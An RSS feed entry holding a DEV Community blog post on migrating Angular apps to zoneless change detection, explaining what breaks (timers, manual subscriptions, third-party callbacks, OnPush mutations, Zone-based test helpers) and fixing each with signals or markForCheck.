<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Eduard Krivanek</title>
    <description>The latest articles on DEV Community by Eduard Krivanek (@krivanek06).</description>
    <link>https://dev.to/krivanek06</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F921866%2F06b0d8fa-d63d-4da1-9f69-d22e5bb9584b.jpeg</url>
      <title>DEV Community: Eduard Krivanek</title>
      <link>https://dev.to/krivanek06</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/krivanek06"/>
    <language>en</language>
    <item>
      <title>Going Zoneless in Angular: What Actually Breaks</title>
      <dc:creator>Eduard Krivanek</dc:creator>
      <pubDate>Sun, 23 Aug 2026 14:44:27 +0000</pubDate>
      <link>https://dev.to/krivanek06/going-zoneless-in-angular-what-actually-breaks-522e</link>
      <guid>https://dev.to/krivanek06/going-zoneless-in-angular-what-actually-breaks-522e</guid>
      <description>&lt;p&gt;You know that feeling when you change a value inside a callback and Angular updates the view all by itself? That magic has a name. Zone.js. For years it quietly patched setTimeout, promises, and event listeners so that any async work ended with a change detection pass across the whole app. It worked. Most of the time.&lt;/p&gt;

&lt;p&gt;Then you flip on zoneless and a counter that has counted up for three years simply stops. No error. No warning. The number just never moves. That is the exact moment every team hits during the migration. The magic was never free, and once you remove it, you can see precisely where your app was leaning on it.&lt;/p&gt;

&lt;p&gt;This post is a practical walkthrough of what breaks when you go zoneless, why it breaks, and the patterns that fix it. No theory for its own sake. Just the things that bite.&lt;/p&gt;

&lt;h2&gt;
  
  
  What Zone.js did for you
&lt;/h2&gt;

&lt;p&gt;Before you can see what breaks, you need to know what you are removing. Zone.js monkey patched the async APIs of the browser. setTimeout, setInterval, Promise, fetch, XHR, addEventListener. All of them. Angular then watched for the moment the microtask queue emptied and ran change detection over the entire component tree.&lt;/p&gt;

&lt;p&gt;The practical result was that you could do almost anything from almost anywhere and the view would eventually catch up. Subscribe to an HTTP call and assign a plain field. Fire a timer and increment a number. Add a raw DOM listener and flip a boolean. It all worked because the global tick always came after you.&lt;/p&gt;

&lt;p&gt;That convenience had a cost. Every tick could touch the whole tree, and the triggers were hard to predict. But cost aside, here is the part that matters: your app holds years of code that only renders because of those accidental ticks.&lt;/p&gt;

&lt;p&gt;There is a second cost people forget. When a bug appears, the cause is often invisible. You change a value, the view updates, and you have no idea which of the fifty async things in flight actually triggered it. Zone.js made things work without making them understandable, and that debt shows up the moment you try to migrate.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why Angular is dropping Zone.js
&lt;/h2&gt;

&lt;p&gt;The Angular team did not wake up one morning and decide to break everyone. This has been building for a while. Signals arrived first, and signals do not need a zone, because a write is explicit. The framework also kept paying the tax Zone.js introduced: a third party library schedules a timer, and your whole app gets checked for no reason. As apps grew, the global tick became a cost that was hard to remove while Zone.js was still in charge.&lt;/p&gt;

&lt;p&gt;Zoneless is the logical end of the signals direction. The team shipped it as stable in Angular 20 and is steering the ecosystem toward it, with Zone.js now on the path out. That does not mean you must migrate tomorrow. It does mean new code should stop assuming the old magic exists, so the eventual switch is not a surprise.&lt;/p&gt;

&lt;h2&gt;
  
  
  What replaces it
&lt;/h2&gt;

&lt;p&gt;Zoneless inverts the model. Angular no longer patches anything. Instead it schedules change detection from a small set of known entry points:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;template events like (click)&lt;/li&gt;
&lt;li&gt;signal writes&lt;/li&gt;
&lt;li&gt;AsyncPipe emissions&lt;/li&gt;
&lt;li&gt;Angular subsystems like the router, HttpClient, and forms&lt;/li&gt;
&lt;li&gt;explicit markForCheck calls&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;A change detection scheduler queues these updates and coalesces them. Instead of a tick after any async work, you get an update when Angular knows something changed.&lt;/p&gt;

&lt;p&gt;When several things change in the same moment, the scheduler does not run change detection once per change. It batches the work and flushes it in a single pass, usually on a microtask or an animation frame. That is why signals and markForCheck scale better than calling detectChanges yourself: the framework can fold ten updates into one render, while a manual detectChanges forces a render every single time you call it.&lt;/p&gt;

&lt;p&gt;That is the whole mental model. Angular updates when Angular knows. If you mutate state outside one of those entry points, Angular does not know, and the view does not change. That single sentence explains about ninety percent of what goes wrong.&lt;/p&gt;

&lt;p&gt;NgZone does not disappear. It still exists for libraries that need it, and runOutsideAngular still works. What changes is that NgZone no longer drives change detection, so code that waited for the zone to become stable behaves differently.&lt;/p&gt;

&lt;h2&gt;
  
  
  How the scheduler batches work
&lt;/h2&gt;

&lt;p&gt;One of the easiest ways to understand zoneless is to watch how it batches. Say a single click sets three signals. Under Zone.js you might see several passes. Under zoneless, the three writes mark three small parts of the view dirty, and the scheduler flushes them together in one pass.&lt;/p&gt;

&lt;p&gt;The scheduler runs on a microtask by default, or on an animation frame when animations are involved. That detail rarely matters day to day, but it explains two things. First, why a signal write followed by a DOM read in the same tick can still see the old DOM. Second, why sprinkling detectChanges is worse than markForCheck. detectChanges runs synchronously and right now, while markForCheck just marks the view and lets the scheduler decide when to flush.&lt;/p&gt;

&lt;p&gt;The practical takeaway is simple. Prefer signals and markForCheck, let the scheduler do its job, and only reach for a synchronous detectChanges when a test or a very specific imperative path truly needs it.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F6fl7fqqxmfmwpveu9n4i.jpeg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F6fl7fqqxmfmwpveu9n4i.jpeg" alt="Change Detection Compare" width="799" height="436"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  How to turn it on
&lt;/h2&gt;

&lt;p&gt;Turning it on is small. Add the provider at bootstrap and remove zone.js from your polyfills:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;bootstrapApplication&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;@angular/platform-browser&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;provideZonelessChangeDetection&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;@angular/core&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;AppComponent&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;./app/app.component&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="nf"&gt;bootstrapApplication&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;AppComponent&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="na"&gt;providers&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nf"&gt;provideZonelessChangeDetection&lt;/span&gt;&lt;span class="p"&gt;()],&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The API name changed while the feature matured. Older versions exposed provideExperimentalZonelessChangeDetection. On current Angular the provider is provideZonelessChangeDetection, and it is stable. Angular also ships a migration schematic to handle the mechanical parts for you, so you do not have to do this by hand.&lt;/p&gt;

&lt;p&gt;Do the bootstrap change and the polyfill removal together. If you remove the polyfill but forget the provider, change detection never runs. If you add the provider but keep the polyfill, you are still shipping zone.js for nothing.&lt;/p&gt;

&lt;h2&gt;
  
  
  Patterns that just work
&lt;/h2&gt;

&lt;p&gt;Before the breakages, it helps to know what keeps working, because these are the patterns you should move toward:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Signals for local state. A signal write is always noticed, so anything you can express as a signal is safe.&lt;/li&gt;
&lt;li&gt;AsyncPipe for streams. Bind the observable directly and Angular handles the subscription and the refresh for you.&lt;/li&gt;
&lt;li&gt;Template event bindings. A (click) handler marks the view dirty, so plain fields updated inside a handler still render.&lt;/li&gt;
&lt;li&gt;The router, HttpClient, and forms. These are Angular managed, so their updates flow through the scheduler.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If a piece of state can be a signal or an AsyncPipe binding, make it that. The fewer plain fields you mutate from callbacks, the fewer surprises the migration will have.&lt;/p&gt;

&lt;h2&gt;
  
  
  What actually breaks
&lt;/h2&gt;

&lt;p&gt;Here are the breakages I see most often, in roughly the order they appear.&lt;/p&gt;

&lt;h3&gt;
  
  
  Timers and promises that set plain fields
&lt;/h3&gt;

&lt;p&gt;The first thing to break is usually a timer. Here is the classic example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="nx"&gt;count&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="nf"&gt;ngOnInit&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nf"&gt;setInterval&lt;/span&gt;&lt;span class="p"&gt;(()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;count&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1000&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This counted up under Zone.js. Under zoneless it sits at zero forever. The callback runs and the field changes, but nobody tells Angular. The fix is a signal, because a signal write is an entry point:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="nx"&gt;count&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;signal&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="nf"&gt;ngOnInit&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nf"&gt;setInterval&lt;/span&gt;&lt;span class="p"&gt;(()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;count&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;update&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;c&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;c&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="mi"&gt;1000&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If you cannot convert to a signal yet, call markForCheck after the mutation:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="k"&gt;private&lt;/span&gt; &lt;span class="nx"&gt;cdr&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;inject&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;ChangeDetectorRef&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="nf"&gt;ngOnInit&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nf"&gt;setInterval&lt;/span&gt;&lt;span class="p"&gt;(()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;count&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;cdr&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;markForCheck&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
  &lt;span class="p"&gt;},&lt;/span&gt; &lt;span class="mi"&gt;1000&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The exact same rule applies to promises. A then block that assigns a plain field no longer refreshes anything. Use a signal or call markForCheck.&lt;/p&gt;

&lt;p&gt;This is the breakage that feels the most unfair, because the code looks completely innocent. There is no lint rule that flags it. The view just stops, and the only clue is that a value changed in a callback.&lt;/p&gt;

&lt;h3&gt;
  
  
  Manual subscriptions
&lt;/h3&gt;

&lt;p&gt;HttpClient still works, but only when you let Angular see the value. This is fine:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="nx"&gt;data$&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;http&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="kd"&gt;get&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;Data&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;/api/data&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The AsyncPipe marks the view dirty on every emission. But if you subscribe by hand and assign a plain field, the view goes quiet:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;http&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="kd"&gt;get&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;Data&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;/api/data&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;subscribe&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;d&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;d&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;cdr&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;markForCheck&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The subscribe callback is not an Angular entry point. The markForCheck at the end is what brings the view back. The cleaner version is toSignal, which turns the stream into a signal and makes every emission explicit.&lt;/p&gt;

&lt;p&gt;The same goes for long lived streams like a BehaviorSubject you combine with combineLatest. If the final subscribe writes to a plain field, that field will not render until something else happens to tick the view. toSignal or AsyncPipe removes the whole class of bug.&lt;/p&gt;

&lt;h3&gt;
  
  
  Raw listeners and third party callbacks
&lt;/h3&gt;

&lt;p&gt;This is the biggest hotspot in a real app. WebSocket messages, postMessage handlers, MutationObserver and ResizeObserver callbacks, chart libraries, analytics SDKs. Anything that calls you back from outside an Angular template binding.&lt;/p&gt;

&lt;p&gt;Under Zone.js those callbacks triggered change detection by accident. Under zoneless Angular does not notice them. The fix is the same two options. Write to a signal inside the callback:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="nx"&gt;data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;signal&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="kr"&gt;string&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="nf"&gt;connect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;ws&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;WebSocket&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;ws&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;onmessage&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;ev&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;set&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;ev&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;};&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Or end the callback with markForCheck if you are not ready to refactor. The same applies to browser observers. A ResizeObserver that sets a plain field will not refresh anything until you write to a signal or call markForCheck. I hit this exact case with a chart that measured its container, and the fix was one signal write inside the observer callback.&lt;/p&gt;

&lt;p&gt;One thing to watch: teardown. Zone removal does not create leaks, but it does remove the incidental stability you may have leaned on, so make sure you unsubscribe and complete your streams.&lt;/p&gt;

&lt;h3&gt;
  
  
  In place mutations with OnPush
&lt;/h3&gt;

&lt;p&gt;Zoneless pushes you toward OnPush as the default. That is a good thing, but it resurfaces an old trap. If you mutate a value in place, Angular may never see it.&lt;/p&gt;

&lt;p&gt;With a signal, pushing into the inner array mutates the array without writing the signal, so nothing notifies:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="nx"&gt;items&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;signal&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;([]);&lt;/span&gt;

&lt;span class="nf"&gt;add&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;item&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;items&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nf"&gt;push&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;item&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="c1"&gt;// the signal never notifies&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Write a new value instead:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="nf"&gt;add&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;item&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;items&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;update&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;list&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;[...&lt;/span&gt;&lt;span class="nx"&gt;list&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;item&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The same trap exists with plain arrays under OnPush. If the reference does not change, the input comparison sees nothing new. Return a new array or call markForCheck.&lt;/p&gt;

&lt;p&gt;The same logic applies to objects. If you mutate a property on an object that OnPush already compared, the reference is the same and the view will not know. New object, new array, or a signal write. Pick one and stay consistent.&lt;/p&gt;

&lt;h3&gt;
  
  
  Your tests
&lt;/h3&gt;

&lt;p&gt;Zone removal is most visible in the test suite, because a lot of the old helpers were built on Zone.js:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;fakeAsync and tick&lt;/li&gt;
&lt;li&gt;flush and flushMicrotasks&lt;/li&gt;
&lt;li&gt;waitForAsync&lt;/li&gt;
&lt;li&gt;fixture.whenStable&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;In a fully zoneless setup, fakeAsync can break because there is no zone to intercept the timers. The reliable path is async and await with explicit fake timers, plus your own detectChanges calls:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="nf"&gt;it&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;updates after a timer&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;jest&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;useFakeTimers&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;fixture&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;TestBed&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;createComponent&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;CounterComponent&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="nx"&gt;fixture&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;detectChanges&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

  &lt;span class="nx"&gt;jest&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;advanceTimersByTime&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1000&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="nx"&gt;fixture&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;detectChanges&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

  &lt;span class="nf"&gt;expect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;fixture&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;nativeElement&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;textContent&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;toContain&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Count: 1&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If you used whenStable to wait for the app to settle, note that without a zone the idea of stable changes. In many zoneless setups whenStable resolves quickly or behaves differently than you remember. The more predictable habit is to call detectChanges explicitly and mock time with fake timers, so your assertion waits on data, not on a framework notion of idle.&lt;/p&gt;

&lt;p&gt;The same logic applies to fakeAsync. It worked by intercepting the zone, and without a zone there is nothing to intercept. Some setups still make it work by providing a zone only for tests, but that recreates the exact gap you are trying to close. Running the suite zoneless, with plain async and fake timers, keeps production and CI on the same page.&lt;/p&gt;

&lt;p&gt;The trap to avoid: if you keep Zone.js in tests but remove it in production, Zone masks the missing markForCheck calls. Run at least part of your CI zoneless so the tests see the same world as production.&lt;/p&gt;

&lt;h3&gt;
  
  
  Web components and custom elements
&lt;/h3&gt;

&lt;p&gt;If you use custom elements, events emitted outside Angular template bindings may not mark views dirty. The rule is the same. Wire the event through an Angular binding, or call markForCheck in the callback. Direct DOM changes do not need change detection, but component state updates from a MutationObserver or ResizeObserver do.&lt;/p&gt;

&lt;h3&gt;
  
  
  Libraries that assume Zone.js
&lt;/h3&gt;

&lt;p&gt;Some older libraries import zone.js or rely on its patched globals. Validate them early. If a chart or an SDK stops rendering after the migration, it is usually because it was leaning on the global tick. Wrap its callbacks in signals or markForCheck, or find a zoneless compatible build.&lt;/p&gt;

